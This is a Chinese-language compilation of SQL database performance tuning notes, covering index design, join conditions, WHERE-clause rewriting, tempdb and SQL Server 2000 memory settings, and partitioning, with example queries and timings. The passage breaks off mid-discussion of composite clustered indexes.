/>人们在使用SQL时往往会陷入一个误区，即太关注于所得的结果是否正确，而忽略<br /><br />了不同的实现方法之间可能存在的性能差异，这种性能差异在大型的或是复杂的数据库<br /><br />环境中（如联机事务处理OLTP或决策支持系统DSS）中表现得尤为明显。笔者在工作实践<br /><br />中发现，不良的SQL往往来自于不恰当的索引设计、不充份的连接条件和不可优化的whe<br /><br />re子句。在对它们进行适当的优化后，其运行速度有了明显地提高！下面我将从这三个<br /><br />方面分别进行总结：<br /><br />---- 为了更直观地说明问题，所有实例中的SQL运行时间均经过测试，不超过１秒的均<br /><br />表示为（&lt; 1秒）。<br /><br />---- 测试环境--<br /><br />---- 主机：HP LH II<br /><br />---- 主频：330MHZ<br /><br />---- 内存：128兆<br /><br />---- 操作系统：Operserver5.0.4<br /><br />----数据库：Sybase11.0.3<br /><br />一、不合理的索引设计<br /><br />----例：表record有620000行，试看在不同的索引下，下面几个 SQL的运行情况：<br /><br />---- 1.在date上建有一非个群集索引<br /><br />select count(*) from record where date &gt;<br /><br />'19991201' and date &lt; '19991214'and amount &gt;<br /><br />2000 (25秒)<br /><br />select date,sum(amount) from record group by date<br /><br />(55秒)<br /><br />select count(*) from record where date &gt;<br /><br />'19990901' and place in ('BJ','SH') (27秒)<br /><br />---- 分析：<br /><br />----date上有大量的重复值，在非群集索引下，数据在物理上随机存放在数据页上，在<br /><br />范围查找时，必须执行一次表扫描才能找到这一范围内的全部行。<br /><br />---- 2.在date上的一个群集索引<br /><br />select count(*) from record where date &gt;<br /><br />'19991201' and date &lt; '19991214' and amount &gt;<br /><br />2000 （14秒）<br /><br />select date,sum(amount) from record group by date<br /><br />（28秒）<br /><br />select count(*) from record where date &gt;<br /><br />'19990901' and place in ('BJ','SH')（14秒）<br /><br />---- 分析：<br /><br />---- 在群集索引下，数据在物理上按顺序在数据页上，重复值也排列在一起，因而在范<br /><br />围查找时，可以先找到这个范围的起末点，且只在这个范围内扫描数据页，避免了大范<br /><br />围扫描，提高了查询速度。<br /><br />---- 3.在place，date，amount上的组合索引<br /><br />select count(*) from record where date &gt;<br /><br />'19991201' and date &lt; '19991214' and amount &gt;<br /><br />2000 （26秒）<br /><br />select date,sum(amount) from record group by date<br /><br />（27秒）<br /><br />select count(*) from record where date &gt;<br /><br />'19990901' and place in ('BJ', 'SH')（&lt; 1秒）<br /><br />---- 分析：<br /><br />---- 这是一个不很合理的组合索引，因为它的前导列是place，第一和第二条SQL没有引<br /><br />用place，因此也没有利用上索引；第三个SQL使用了place，且引用的所有列都包含在组<br /><br />合索引中，形成了索引覆盖，所以它的速度是非常快的。<br /><br />---- 4.在date，place，amount上的组合索引<br /><br />select count(*) from record where date &gt;<br /><br />'19991201' and date &lt; '19991214' and amount &gt;<br /><br />2000(&lt; 1秒)<br /><br />select date,sum(amount) from record group by date<br /><br />（11秒）<br /><br />select count(*) from record where date &gt;<br /><br />'19990901' and place in ('BJ','SH')（&lt; 1秒）<br /><br />---- 分析：<br /><br />---- 这是一个合理的组合索引。它将date作为前导列，使每个SQL都可以利用索引，并<br /><br />且在第一和第三个SQL中形成了索引覆盖，因而性能达到了最优。<br /><br />---- 5.总结：<br /><br />---- 缺省情况下建立的索引是非群集索引，但有时它并不是最佳的；合理的索引设计要<br /><br />建立在对各种查询的分析和预测上。一般来说：<br /><br />---- ①.有大量重复值、且经常有范围查询<br /><br />（between, &gt;,&lt; ，&gt;=,&lt; =）和order by<br /><br />、group by发生的列，可考虑建立群集索引；<br /><br />---- ②.经常同时存取多列，且每列都含有重复值可考虑建立组合索引；<br /><br />---- ③.组合索引要尽量使关键查询形成索引覆盖，其前导列一定是使用最频繁的列。<br /><br /><br /><br />二、不充份的连接条件：<br /><br />---- 例：表card有7896行，在card_no上有一个非聚集索引，表account有191122行，在<br /><br />account_no上有一个非聚集索引，试看在不同的表连接条件下，两个SQL的执行情况：<br /><br /><br /><br />select sum(a.amount) from account a,<br /><br />card b where a.card_no = b.card_no（20秒）<br /><br />---- 将SQL改为：<br /><br />select sum(a.amount) from account a,<br /><br />card b where a.card_no = b.card_no and a.<br /><br />account_no=b.account_no（&lt; 1秒）<br /><br />---- 分析：<br /><br />---- 在第一个连接条件下，最佳查询方案是将account作外层表，card作内层表，利用<br /><br />card上的索引，其I/O次数可由以下公式估算为：<br /><br />---- 外层表account上的22541页+（外层表account的191122行*内层表card上对应外层<br /><br />表第一行所要查找的3页）=595907次I/O<br /><br />---- 在第二个连接条件下，最佳查询方案是将card作外层表，account作内层表，利用<br /><br />account上的索引，其I/O次数可由以下公式估算为：<br /><br />---- 外层表card上的1944页+（外层表card的7896行*内层表account上对应外层表每一<br /><br />行所要查找的4页）= 33528次I/O<br /><br />---- 可见，只有充份的连接条件，真正的最佳方案才会被执行。<br /><br />---- 总结：<br /><br />---- 1.多表操作在被实际执行前，查询优化器会根据连接条件，列出几组可能的连接方<br /><br />案并从中找出系统开销最小的最佳方案。连接条件要充份考虑带有索引的表、行数多的<br /><br />表；内外表的选择可由公式：外层表中的匹配行数*内层表中每一次查找的次数确定，乘<br /><br />积最小为最佳方案。<br /><br />---- 2.查看执行方案的方法-- 用set showplanon，打开showplan选项，就可以看到连<br /><br />接顺序、使用何种索引的信息；想看更详细的信息，需用sa角色执行dbcc(3604,310,30<br /><br />2)。<br /><br />三、不可优化的where子句<br /><br />---- 1.例：下列SQL条件语句中的列都建有恰当的索引，但执行速度却非常慢：<br /><br />select * from record where<br /><br />substring(card_no,1,4)='5378'(13秒)<br /><br />select * from record where<br /><br />amount/30&lt; 1000（11秒）<br /><br />select * from record where<br /><br />convert(char(10),date,112)='19991201'（10秒）<br /><br />---- 分析：<br /><br />---- where子句中对列的任何操作结果都是在SQL运行时逐列计算得到的，因此它不得不<br /><br />进行表搜索，而没有使用该列上面的索引；如果这些结果在查询编译时就能得到，那么<br /><br />就可以被SQL优化器优化，使用索引，避免表搜索，因此将SQL重写成下面这样：<br /><br />select * from record where card_no like<br /><br />'5378%'（&lt; 1秒）<br /><br />select * from record where amount<br /><br />&lt; 1000*30（&lt; 1秒）<br /><br />select * from record where date= '1999/12/01'<br /><br />（&lt; 1秒）<br /><br />---- 你会发现SQL明显快起来！<br /><br />---- 2.例：表stuff有200000行，id_no上有非群集索引，请看下面这个SQL：<br /><br />select count(*) from stuff where id_no in('0','1')<br /><br />（23秒）<br /><br />---- 分析：<br /><br />---- where条件中的'in'在逻辑上相当于'or'，所以语法分析器会将in ('0','1')转化<br /><br />为id_no ='0' or id_no='1'来执行。我们期望它会根据每个or子句分别查找，再将结果<br /><br />相加，这样可以利用id_no上的索引；但实际上（根据showplan）,它却采用了"OR策略"<br /><br />，即先取出满足每个or子句的行，存入临时数据库的工作表中，再建立唯一索引以去掉<br /><br />重复行，最后从这个临时表中计算结果。因此，实际过程没有利用id_no上索引，并且完<br /><br />成时间还要受tempdb数据库性能的影响。<br /><br />---- 实践证明，表的行数越多，工作表的性能就越差，当stuff有620000行时，执行时<br /><br />间竟达到220秒！还不如将or子句分开：<br /><br />select count(*) from stuff where id_no='0'<br /><br />select count(*) from stuff where id_no='1'<br /><br />---- 得到两个结果，再作一次加法合算。因为每句都使用了索引，执行时间只有3秒，<br /><br />在620000行下，时间也只有4秒。或者，用更好的方法，写一个简单的存储过程：<br /><br />create proc count_stuff as<br /><br />declare @a int<br /><br />declare @b int<br /><br />declare @c int<br /><br />declare @d char(10)<br /><br />begin<br /><br />select @a=count(*) from stuff where id_no='0'<br /><br />select @b=count(*) from stuff where id_no='1'<br /><br />end<br /><br />select @c=@a+@b<br /><br />select @d=convert(char(10),@c)<br /><br />print @d<br /><br />---- 直接算出结果，执行时间同上面一样快！<br /><br />---- 总结：<br /><br />---- 可见，所谓优化即where子句利用了索引，不可优化即发生了表扫描或额外开销。<br /><br /><br /><br />---- 1.任何对列的操作都将导致表扫描，它包括数据库函数、计算表达式等等，查询时<br /><br />要尽可能将操作移至等号右边。<br /><br />---- 2.in、or子句常会使用工作表，使索引失效；如果不产生大量重复值，可以考虑把<br /><br />子句拆开；拆开的子句中应该包含索引。<br /><br />---- 3.要善于使用存储过程，它使SQL变得更加灵活和高效。<br /><br />---- 从以上这些例子可以看出，SQL优化的实质就是在结果正确的前提下，用优化器可<br /><br />以识别的语句，充份利用索引，减少表扫描的I/O次数，尽量避免表搜索的发生。其实S<br /><br />QL的性能优化是一个复杂的过程，上述这些只是在应用层次的一种体现，深入研究还会<br /><br />涉及数据库层的资源配置、网络层的流量控制以及操作系统层的总体设计。<br /><br /><br /><br /><br /><br /><br /><br />1．合理使用索引 <br /><br />索引是数据库中重要的数据结构，它的根本目的就是为了提高查询效率。现在大多数的数据库产品都采用IBM最先提出的ISAM索引结构。索引的使用要恰到好处，其使用原则如下： <br /><br />●在经常进行连接，但是没有指定为外键的列上建立索引，而不经常连接的字段则由优化器自动生成索引。 <br /><br />●在频繁进行排序或分组（即进行group by或order by操作）的列上建立索引。 <br /><br />●在条件表达式中经常用到的不同值较多的列上建立检索，在不同值少的列上不要建立索引。比如在雇员表的“性别”列上只有“男”与“女”两个不同值，因此就无必要建立索引。如果建立索引不但不会提高查询效率，反而会严重降低更新速度。 <br /><br />●如果待排序的列有多个，可以在这些列上建立复合索引（compound index）。 <br /><br />●使用系统工具。如Informix数据库有一个tbcheck工具，可以在可疑的索引上进行检查。在一些数据库服务器上，索引可能失效或者因为频繁操作而使得读取效率降低，如果一个使用索引的查询不明不白地慢下来，可以试着用tbcheck工具检查索引的完整性，必要时进行修复。另外，当数据库表更新大量数据后，删除并重建索引可以提高查询速度。 <br /><br /><br /><br />2．避免或简化排序 <br /><br />应当简化或避免对大型表进行重复的排序。当能够利用索引自动以适当的次序产生输出时，优化器就避免了排序的步骤。以下是一些影响因素： <br /><br />●索引中不包括一个或几个待排序的列； <br /><br />●group by或order by子句中列的次序与索引的次序不一样； <br /><br />●排序的列来自不同的表。 <br /><br />为了避免不必要的排序，就要正确地增建索引，合理地合并数据库表（尽管有时可能影响表的规范化，但相对于效率的提高是值得的）。如果排序不可避免，那么应当试图简化它，如缩小排序的列的范围等。 <br /><br /><br /><br />3．消除对大型表行数据的顺序存取 <br /><br />在嵌套查询中，对表的顺序存取对查询效率可能产生致命的影响。比如采用顺序存取策略，一个嵌套3层的查询，如果每层都查询1000行，那么这个查询就要查询10亿行数据。避免这种情况的主要方法就是对连接的列进行索引。例如，两个表：学生表（学号、姓名、年龄……）和选课表（学号、课程号、成绩）。如果两个表要做连接，就要在“学号”这个连接字段上建立索引。 <br /><br />还可以使用并集来避免顺序存取。尽管在所有的检查列上都有索引，但某些形式的where子句强迫优化器使用顺序存取。下面的查询将强迫对orders表执行顺序操作： <br /><br />SELECT ＊ FROM orders WHERE (customer_num=104 AND order_num&gt;1001) OR order_num=1008 <br /><br />虽然在customer_num和order_num上建有索引，但是在上面的语句中优化器还是使用顺序存取路径扫描整个表。因为这个语句要检索的是分离的行的集合，所以应该改为如下语句： <br /><br />SELECT ＊ FROM orders WHERE customer_num=104 AND order_num&gt;1001 <br /><br />UNION <br /><br />SELECT ＊ FROM orders WHERE order_num=1008 <br /><br />这样就能利用索引路径处理查询。 <br /><br /><br /><br />4．避免相关子查询 <br /><br />一个列的标签同时在主查询和where子句中的查询中出现，那么很可能当主查询中的列值改变之后，子查询必须重新查询一次。查询嵌套层次越多，效率越低，因此应当尽量避免子查询。如果子查询不可避免，那么要在子查询中过滤掉尽可能多的行。 <br /><br /><br /><br />5．避免困难的正规表达式 <br /><br />MATCHES和LIKE关键字支持通配符匹配，技术上叫正规表达式。但这种匹配特别耗费时间。例如：SELECT ＊ FROM customer WHERE zipcode LIKE “98_ _ _” <br /><br />即使在zipcode字段上建立了索引，在这种情况下也还是采用顺序扫描的方式。如果把语句改为SELECT ＊ FROM customer WHERE zipcode &gt;“98000”，在执行查询时就会利用索引来查询，显然会大大提高速度。 <br /><br />另外，还要避免非开始的子串。例如语句：SELECT ＊ FROM customer WHERE zipcode[2，3] &gt;“80”，在where子句中采用了非开始子串，因而这个语句也不会使用索引。<br /><br /><br /><br />6．使用临时表加速查询 <br /><br />把表的一个子集进行排序并创建临时表，有时能加速查询。它有助于避免多重排序操作，而且在其他方面还能简化优化器的工作。例如： <br /><br />SELECT cust.name，rcvbles.balance，……other columns <br /><br />FROM cust，rcvbles <br /><br />WHERE cust.customer_id = rcvlbes.customer_id <br /><br />AND rcvblls.balance&gt;0 <br /><br />AND cust.postcode&gt;“98000” <br /><br />ORDER BY cust.name <br /><br />如果这个查询要被执行多次而不止一次，可以把所有未付款的客户找出来放在一个临时文件中，并按客户的名字进行排序： <br /><br />SELECT cust.name，rcvbles.balance，……other columns <br /><br />FROM cust，rcvbles <br /><br />WHERE cust.customer_id = rcvlbes.customer_id <br /><br />AND rcvblls.balance&gt;0 <br /><br />ORDER BY cust.name <br /><br />INTO TEMP cust_with_balance <br /><br />然后以下面的方式在临时表中查询： <br /><br />SELECT ＊ FROM cust_with_balance <br /><br />WHERE postcode&gt;“98000” <br /><br />临时表中的行要比主表中的行少，而且物理顺序就是所要求的顺序，减少了磁盘I/O，所以查询工作量可以得到大幅减少。 <br /><br />注意：临时表创建后不会反映主表的修改。在主表中数据频繁修改的情况下，注意不要丢失数据。 <br /><br /><br /><br />7．用排序来取代非顺序存取 <br /><br />非顺序磁盘存取是最慢的操作，表现在磁盘存取臂的来回移动。SQL语句隐藏了这一情况，使得我们在写应用程序时很容易写出要求存取大量非顺序页的查询。 <br /><br />有些时候，用数据库的排序能力来替代非顺序的存取能改进查询。 <br /><br /><br /><br /><br /><br /><br /><br /><br /><br />3.优化 tempdb 性能<br /><br /><br /><br /><br /><br />对 tempdb 数据库的物理位置和数据库选项设置的一般建议包括： <br /><br />使 tempdb 数据库得以按需自动扩展。这确保在执行完成前不终止查询，该查询所生成的存储在 tempdb 数据库内的中间结果集比预期大得多。<br /><br /><br /><br />将 tempdb 数据库文件的初始大小设置为合理的大小，以避免当需要更多空间时文件自动扩展。如果 tempdb 数据库扩展得过于频繁，性能会受不良影响。<br /><br /><br /><br />将文件增长增量百分比设置为合理的大小，以避免 tempdb 数据库文件按太小的值增长。如果文件增长幅度与写入 tempdb 数据库的数据量相比太小，则 tempdb 数据库可能需要始终扩展，因而将妨害性能。<br /><br /><br /><br />将 tempdb 数据库放在快速 I/O 子系统上以确保好的性能。在多个磁盘上条带化 tempdb 数据库以获得更好的性能。将 tempdb 数据库放在除用户数据库所使用的磁盘之外的磁盘上。有关更多信息，请参见扩充数据库。<br /><br /><br /><br /><br /><br /><br /><br />4.优化服务器:<br /><br /><br /><br />使用内存配置选项优化服务器性能<br /><br />Microsoft&amp;reg; SQL Server&amp;#8482; 2000 的内存管理组件消除了对 SQL Server 可用的内存进行手工管理的需要。SQL Server 在启动时根据操作系统和其它应用程序当前正在使用的内存量，动态确定应分配的内存量。当计算机和SQL Server 上的负荷更改时，分配的内存也随之更改。有关更多信息，请参见内存构架。<br /><br /><br /><br />下列服务器配置选项可用于配置内存使用并影响服务器性能： <br /><br />min server memory<br /><br />max server memory<br /><br />max worker threads<br /><br />index create memory<br /><br /><br /><br />min memory per query <br /><br />min server memory 服务器配置选项可用于确保 SQL Server 在达到该值后不会释放内存。可以基于 SQL Server 的大小及活动将该配置选项设置为特定的值。如果选择设置此选项，必须为操作系统和其他程序留出足够的内存。如果操作系统没有足够的内存，会向 SQL Server 请求内存，从而导致影响 SQL Server 性能。<br /><br /><br /><br />max server memory 服务器配置选项可用于：在 SQL Server 启动及运行时，指定 SQL Server 可以分配的最大内存量。如果知道有多个应用程序与 SQL Server 同时运行，而且想保障这些应用程序有足够的内存运行，可以将该配置选项设置为特定的值。如果这些其它应用程序（如 Web 服务器或电子邮件服务器）只根据需要请求内存，则 SQL Server 将根据需要给它们释放内存，因此不要设置 max server memory 服务器配置选项。然而，应用程序通常在启动时不假选择地使用可用内存，而如果需要更多内存也不请求。如果有这种行为方式的应用程序与 SQL Server 同时运行在相同的计算机上，则将 max server memory 服务器配置选项设置为特定的值，以保障应用程序所需的内存不由 SQL Server 分配出。<br /><br />不要将 min server memory 和 max server memory 服务器配置选项设置为相同的值，这样做会使分配给 SQL Server 的内存量固定。动态内存分配可以随时间提供最佳的总体性能。有关更多信息，请参见服务器内存选项。<br /><br /><br /><br />max worker threads 服务器配置选项可用于指定为用户连接到 SQL Server 提供支持的线程数。255 这一默认设置对一些配置可能稍微偏高，这要具体取决于并发用户数。由于每个工作线程都已分配，因此即使线程没有正在使用（因为并发连接比分配的工作线程少），可由其它操作（如高速缓冲存储器）更好地利用的内存资源也可能是未使用的。一般情况下，应将该配置值设置为并发连接数，但不能超过 32727。并发连接与用户登录连接不同。SQL Server 实例的工作线程池只需要足够大，以便为同时正在该实例中执行批处理的用户连接提供服务。如果增加工作线程的数量超过默认值，会降低服务器性能。有关更多信息，请参见max worker threads 选项。<br /><br />说明 当 SQL Server 运行在 Microsoft Windows&amp;reg; 98 上时，最大工作线程服务器配置选项不起作用。<br /><br /><br /><br />index create memory 服务器配置选项控制创建索引时排序操作所使用的内存量。在生产系统上创建索引通常是不常执行的任务，通常调度为在非峰值时间执行的作业。因此，不常创建索引且在非峰值时间时，增加该值可提高索引创建的性能。不过，最好将 min memory per query 配置选项保持在一个较低的值，这样即使所有请求的内存都不可用，索引创建作业仍能开始。有关更多信息，请参见 index create memory 选项。<br /><br />min memory per query 服务器配置选项可用于指定分配给查询执行的最小内存量。当系统内有许多查询并发执行时，增大 min memory per query 的值有助于提高消耗大量内存的查询（如大型排序和哈希操作）的性能。不过，不要将 min memory per query 服务器配置选项设置得太高，尤其是在很忙的系统上，因为查询将不得不等到能确保占有请求的最小内存、或等到超过 query wait 服务器配置选项内所指定的值。如果可用内存比执行查询所需的指定最小内存多，则只要查询能对多出的内存加以有效的利用，就可以使用多出的内存。有关更多信息，请参见 min memory per query 选项和 query wait 选项。<br /><br /><br /><br />使用 I/O 配置选项优化服务器性能<br /><br />下列服务器配置选项可用于配置 I/O 的使用并影响服务器性能： <br /><br /><br /><br />recovery interval <br /><br />recovery interval 服务器配置选项控制 Microsoft&amp;reg; SQL Server&amp;#8482; 2000 在每个数据库内发出检查点的时间。默认情况下，SQL Server 确定执行检查点操作的最佳时间。然而，若要确定这是否为适当的设置，需要使用 Windows NT 性能监视器监视数据库文件上的磁盘写入活动。导致磁盘利用率达到 100% 的活动尖峰值会妨害性能。若更改该参数以使检查点进程较少出现，通常可以提高这种情况下的总体性能。但仍须继续监视性能以确定新值是否已对性能产生正面影响。有关更多信息，请参见recovery interval 选项。<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />5.优化数据库文件<br /><br /><br /><br />分区<br /><br />将数据库分区可提高其性能并易于维护。通过将一个大表拆分成更小的单个表，只访问一小部分数据的查询可以执行得更快，因为需要扫描的数据较少。而且可以更快地执行维护任务（如重建索引或备份表）。<br /><br /><br /><br />实现分区操作时可以不拆分表，而将表物理地放置在个别的磁盘驱动器上。例如，将表放在某个物理驱动器上并将相关的表放在与之分离的驱动器上可提高查询性能，因为当执行涉及表之间联接的查询时，多个磁头同时读取数据。可以使用 Microsoft&amp;reg; SQL Server&amp;#8482; 2000 文件组指定将表放置在哪些磁盘上。<br /><br /><br /><br />硬件分区<br /><br />硬件分区将数据库设计为利用可用的硬件构架。硬件分区的示例包括： <br /><br /><br /><br />允许多线程执行的多处理器，使得可以同时执行许多查询。换句话说，在多处理器上可以同时执行查询的各个组件，因此使单个查询的速度更快。例如，查询内引用的每个表可同时由不同的线程扫描。<br /><br /><br /><br /><br /><br />RAID（独立磁盘冗余阵列）设备允许数据在多个磁盘驱动器中条带化，使更多的读/写磁头同时读取数据，因此可以更快地访问数据。在多个驱动器中条带化的表一般比存储在一个驱动器上的相同的表扫描速度要快。换句话说，将表与相关的表分开存储在不同的驱动器上可以显著提高联接那些表的查询的性能。 <br /><br />水平分区<br /><br />水平分区将一个表分段为多个表，每个表包含相同数目的列和较少的行。例如，可以将一个包含十亿行的表水平分区成 12 个表，每个小表代表特定年份内一个月的数据。任何需要特定月份数据的查询只引用相应月份的表。<br /><br /><br /><br />具体如何将表进行水平分区取决于如何分析数据。将表进行分区是为了使查询引用尽可能少的表。否则，查询时须使用过多的 UNION 查询来逻辑合并表，而这会削弱查询性能。有关查询水平分区的表的更多信息，请参见视图使用方案。 <br /><br /><br /><br />常用的方法是根据时期/使用对数据进行水平分区。例如，一个表可能包含最近五年的数据，但是只定期访问本年度的数据。在这种情况下，可考虑将数据分区成五个表，每个表只包含一年的数据。<br /><br /><br /><br />垂直分区<br /><br />垂直分区将一个表分段为多个表，每个表包含较少的列。垂直分区的两种类型是规范化和行拆分。<br /><br /><br /><br />规范化是个标准数据库进程，该进程从表中删除冗余列并将其放到次表中，次表按主键与外键的关系链接到主表。<br /><br /><br /><br />行拆分将原始表垂直分成多个只包含较少列的表。拆分的表内的每个逻辑行与其它表内的相同逻辑行匹配。例如，联接每个拆分的表内的第十行将重新创建原始行。<br /><br /><br /><br />与水平分区一样，垂直分区使查询得以扫描较少的数据，因此提高查询性能。例如有一个包含七列的表，通常只引用该表的前四列，那么将该表的后三列拆分到一个单独的表中可获得性能收益。<br /><br /><br /><br />应谨慎考虑垂直分区操作，因为分析多个分区内的数据需要有联接表的查询，而如果分区非常大将可能影响性能。<br /><br /><br /><br />（一）深入浅出理解索引结构<br /><br /><br /><br />实际上，您可以把索引理解为一种特殊的目录。微软的SQL SERVER提供了两种索引：聚集索引（clustered index，也称聚类索引、簇集索引）和非聚集索引（nonclustered index，也称非聚类索引、非簇集索引）。下面，我们举例来说明一下聚集索引和非聚集索引的区别：<br /><br /><br /><br />其实，我们的汉语字典的正文本身就是一个聚集索引。比如，我们要查“安”字，就会很自然地翻开字典的前几页，因为“安”的拼音是“an”，而按照拼音排序汉字的字典是以英文字母“a”开头并以“z”结尾的，那么“安”字就自然地排在字典的前部。如果您翻完了所有以“a”开头的部分仍然找不到这个字，那么就说明您的字典中没有这个字；同样的，如果查“张”字，那您也会将您的字典翻到最后部分，因为“张”的拼音是“zhang”。也就是说，字典的正文部分本身就是一个目录，您不需要再去查其他目录来找到您需要找的内容。<br /><br /><br /><br />我们把这种正文内容本身就是一种按照一定规则排列的目录称为“聚集索引”。<br /><br /><br /><br />如果您认识某个字，您可以快速地从自动中查到这个字。但您也可能会遇到您不认识的字，不知道它的发音，这时候，您就不能按照刚才的方法找到您要查的字，而需要去根据“偏旁部首”查到您要找的字，然后根据这个字后的页码直接翻到某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序并不是真正的正文的排序方法，比如您查“张”字，我们可以看到在查部首之后的检字表中“张”的页码是672页，检字表中“张”的上面是“驰”字，但页码却是63页，“张”的下面是“弩”字，页面是390页。很显然，这些字并不是真正的分别位于“张”字的上下方，现在您看到的连续的“驰、张、弩”三字实际上就是他们在非聚集索引中的排序，是字典正文中的字在非聚集索引中的映射。我们可以通过这种方式来找到您所需要的字，但它需要两个过程，先找到目录中的结果，然后再翻到您所需要的页码。<br /><br /><br /><br />我们把这种目录纯粹是目录，正文纯粹是正文的排序方式称为“非聚集索引”。<br /><br /><br /><br />通过以上例子，我们可以理解到什么是“聚集索引”和“非聚集索引”。<br /><br /><br /><br />进一步引申一下，我们可以很容易的理解：每个表只能有一个聚集索引，因为目录只能按照一种方法进行排序。<br /><br /><br /><br />（二）何时使用聚集索引或非聚集索引<br /><br /><br /><br />下面的表总结了何时使用聚集索引或非聚集索引（很重要）。<br /><br /><br /><br />动作描述<br /><br />使用聚集索引<br /><br />使用非聚集索引<br /><br /><br /><br />列经常被分组排序<br /><br />应<br /><br />应<br /><br /><br /><br />返回某范围内的数据<br /><br />应<br /><br />不应<br /><br /><br /><br />一个或极少不同值<br /><br />不应<br /><br />不应<br /><br /><br /><br />小数目的不同值<br /><br />应<br /><br />不应<br /><br /><br /><br />大数目的不同值<br /><br />不应<br /><br />应<br /><br /><br /><br />频繁更新的列<br /><br />不应<br /><br />应<br /><br /><br /><br />外键列<br /><br />应<br /><br />应<br /><br /><br /><br />主键列<br /><br />应<br /><br />应<br /><br /><br /><br />频繁修改索引列<br /><br />不应<br /><br />应<br /><br /><br /><br /><br /><br />事实上，我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如：返回某范围内的数据一项。比如您的某个表有一个时间列，恰好您把聚合索引建立在了该列，这时您查询2004年1月1日至2004年10月1日之间的全部数据时，这个速度就将是很快的，因为您的这本字典正文是按日期进行排序的，聚类索引只需要找到要检索的所有数据中的开头和结尾数据即可；而不像非聚集索引，必须先查到目录中查到每一项数据对应的页码，然后再根据页码查到具体内容。<br /><br /><br /><br />（三）结合实际，谈索引使用的误区<br /><br /><br /><br />理论的目的是应用。虽然我们刚才列出了何时应使用聚集索引或非聚集索引，但在实践中以上规则却很容易被忽视或不能根据实际情况进行综合分析。下面我们将根据在实践中遇到的实际问题来谈一下索引使用的误区，以便于大家掌握索引建立的方法。<br /><br /><br /><br />1、主键就是聚集索引<br /><br /><br /><br />这种想法笔者认为是极端错误的，是对聚集索引的一种浪费。虽然SQL SERVER默认是在主键上建立聚集索引的。<br /><br /><br /><br />通常，我们会在每个表中都建立一个ID列，以区分每条数据，并且这个ID列是自动增大的，步长一般为1。我们的这个办公自动化的实例中的列Gid就是如此。此时，如果我们将这个列设为主键，SQL SERVER会将此列默认为聚集索引。这样做有好处，就是可以让您的数据在数据库中按照ID进行物理排序，但笔者认为这样做意义不大。<br /><br /><br /><br />显而易见，聚集索引的优势是很明显的，而每个表中只能有一个聚集索引的规则，这使得聚集索引变得更加珍贵。<br /><br /><br /><br />从我们前面谈到的聚集索引的定义我们可以看出，使用聚集索引的最大好处就是能够根据查询要求，迅速缩小查询范围，避免全表扫描。在实际应用中，因为ID号是自动生成的，我们并不知道每条记录的ID号，所以我们很难在实践中用ID号来进行查询。这就使让ID号这个主键作为聚集索引成为一种资源浪费。其次，让每个ID号都不同的字段作为聚集索引也不符合“大数目的不同值情况下不应建立聚合索引”规则；当然，这种情况只是针对用户经常修改记录内容，特别是索引项的时候会负作用，但对于查询速度并没有影响。<br /><br /><br /><br />在办公自动化系统中，无论是系统首页显示的需要用户签收的文件、会议还是用户进行文件查询等任何情况下进行数据查询都离不开字段的是“日期”还有用户本身的“用户名”。<br /><br /><br /><br />通常，办公自动化的首页会显示每个用户尚未签收的文件或会议。虽然我们的where语句可以仅仅限制当前用户尚未签收的情况，但如果您的系统已建立了很长时间，并且数据量很大，那么，每次每个用户打开首页的时候都进行一次全表扫描，这样做意义是不大的，绝大多数的用户1个月前的文件都已经浏览过了，这样做只能徒增数据库的开销而已。事实上，我们完全可以让用户打开系统首页时，数据库仅仅查询这个用户近3个月来未阅览的文件，通过“日期”这个字段来限制表扫描，提高查询速度。如果您的办公自动化系统已经建立的2年，那么您的首页显示速度理论上将是原来速度8倍，甚至更快。<br /><br /><br /><br />在这里之所以提到“理论上”三字，是因为如果您的聚集索引还是盲目地建在ID这个主键上时，您的查询速度是没有这么高的，即使您在“日期”这个字段上建立的索引（非聚合索引）。下面我们就来看一下在1000万条数据量的情况下各种查询的速度表现（3个月内的数据为25万条）：<br /><br /><br /><br />（1）仅在主键上建立聚集索引，并且不划分时间段：<br /><br /><br /><br />Select gid,fariqi,neibuyonghu,title from tgongwen<br /><br /><br /><br />用时：128470毫秒（即：128秒）<br /><br /><br /><br />（2）在主键上建立聚集索引，在fariq上建立非聚集索引：<br /><br /><br /><br />select gid,fariqi,neibuyonghu,title from Tgongwen<br /><br /><br /><br />where fariqi&gt; dateadd(day,-90,getdate())<br /><br /><br /><br />用时：53763毫秒（54秒）<br /><br /><br /><br />（3）将聚合索引建立在日期列（fariqi）上：<br /><br /><br /><br />select gid,fariqi,neibuyonghu,title from Tgongwen<br /><br /><br /><br />where fariqi&gt; dateadd(day,-90,getdate())<br /><br /><br /><br />用时：2423毫秒（2秒）<br /><br /><br /><br />虽然每条语句提取出来的都是25万条数据，各种情况的差异却是巨大的，特别是将聚集索引建立在日期列时的差异。事实上，如果您的数据库真的有1000万容量的话，把主键建立在ID列上，就像以上的第1、2种情况，在网页上的表现就是超时，根本就无法显示。这也是我摒弃ID列作为聚集索引的一个最重要的因素。<br /><br /><br /><br />得出以上速度的方法是：在各个select语句前加：declare @d datetime<br /><br /><br /><br />set @d=getdate()<br /><br /><br /><br />并在select语句后加：<br /><br /><br /><br />select [语句执行花费时间(毫秒)]=datediff(ms,@d,getdate())<br /><br /><br /><br />2、只要建立索引就能显著提高查询速度<br /><br /><br /><br />事实上，我们可以发现上面的例子中，第2、3条语句完全相同，且建立索引的字段也相同；不同的仅是前者在fariqi字段上建立的是非聚合索引，后者在此字段上建立的是聚合索引，但查询速度却有着天壤之别。所以，并非是在任何字段上简单地建立索引就能提高查询速度。<br /><br /><br /><br />从建表的语句中，我们可以看到这个有着1000万数据的表中fariqi字段有5003个不同记录。在此字段上建立聚合索引是再合适不过了。在现实中，我们每天都会发几个文件，这几个文件的发文日期就相同，这完全符合建立聚集索引要求的：“既不能绝大多数都相同，又不能只有极少数相同”的规则。由此看来，我们建立“适当”的聚合索引对于我们提高查询速度是非常重要的。<br /><br /><br /><br />3、把所有需要提高查询速度的字段都加进聚集索引，以提高查询速度<br /><br /><br /><br />上面已经谈到：在进行数据查询时都离不开字段的是“日期”还有用户本身的“用户名”。既然这两个字段都是如此的重要，我们可以把他们合并起来，建立一个复合索引（compound index）。<br /><br /><br /><br />很多人认为只要把任何字段加进聚集索引，就能提高查询速度，也有人感到迷惑：如果把复合的聚集索引字段分开查询，那么查询速度会减慢吗？带着这个问题，我们来看一下以下的查询速度（结果集都是25万条数据）：（日期列fariqi首先排在复合聚集索引的起始列，用户名neibuyonghu排在后列）<br /><br 